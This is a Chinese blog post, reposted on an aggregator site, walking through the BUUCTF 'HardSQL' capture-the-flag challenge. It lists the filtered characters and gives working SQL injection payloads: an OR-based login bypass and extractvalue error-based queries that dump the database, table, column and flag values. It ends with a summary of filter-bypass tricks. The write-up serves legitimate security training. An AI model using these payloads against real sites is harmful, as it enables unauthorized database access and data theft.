当前位置: 首页 > article >正文

【BUUCTF】HardSQL

题目描述

一道纯粹的SQL注入题

img

尝试进行注入,发现对以下字符进行了过滤:

= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and

且过滤方式不区分大小写,检测到以上字符就die()

题解

先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用()将库名、表名、字段名包裹起来,就不需要使用空格了。
exp 如下:

?username=-1'or(1)%23&password=1

img

成功登录。

由于过滤了union,我们使用报错注入的方式进行尝试。另外,由于=被过滤,我们可以使用like来代替=。payload如下:

//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23

在爆字段值的时候我们看到,flag只显示了一部分

img

由于substr()函数被过滤,我们使用left()right()来进行字符串的截取,payload:

1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23

其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。

img

总结

绕过空格

使用以下字符替代空格,可以起到相同效果

%09 %0a %0b %0c %0d /**/

或使用()包裹库名、表名、字段名,从而避免空格的使用,如:

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

绕过 =

like代替=

字符串显示不全

使用以下三个函数对字符串进行截取:

substr()   left()   right()

http://www.kler.cn/news/294353.html

相关文章:

  • 交换两个变量数值的3种方法
  • 创建Hive表后,查看表结构发现中文注释乱码
  • 【C++模版初阶】——我与C++的不解之缘(七)
  • Maven使用指南的笔记
  • 笔试强训,[NOIP2002普及组]过河卒牛客.游游的水果大礼包牛客.买卖股票的最好时机(二)二叉树非递归前序遍历
  • uniapp使用uni-popup做底部弹出选项(vue3)
  • R语言中rds 文件是什么,都保存了什么数据,详解
  • 宠物浮毛对身体危害竟这么大?再不预防就来不及了
  • Selenium4.0详细介绍
  • 龙芯+FreeRTOS+LVGL实战笔记(新)——05部署主按钮
  • 从零开始,认识游戏设计师(4)体验源于设计师②
  • 数据结构----链表
  • C# 特性与属性的区别
  • iOS 中,用户点击一个按钮到响应的全部流程
  • 【网络安全】服务基础第二阶段——第二节:Linux系统管理基础----Linux统计,高阶命令
  • 利用Spring Boot打造图书个性化推荐平台
  • C语言练习题之 数组中出现次数超过一半的数
  • C# 通过拖控件移动窗体
  • MySQL · 性能优化 · 提高查询效率的实用指南(上)
  • 第十四节:学习Springboot 的restful接口风格(自学Spring boot 3.x的第三天)
  • ROADM(可)-介绍
  • 【Linux网络编程】协议|OSI模型|TCP/IP模型|局域网通信|跨网络通信|地址管理|流程图
  • Kafka和ES加密
  • 深度学习dataset等概念
  • 【杂谈】-国产单片机学习成本高的原因分析
  • Deep Ocr
  • Flask如何处理静态文件
  • Spring拦截器与Servlet过滤器区别
  • Unity3D DOTS Component详解
  • 人机交互中的当斯定律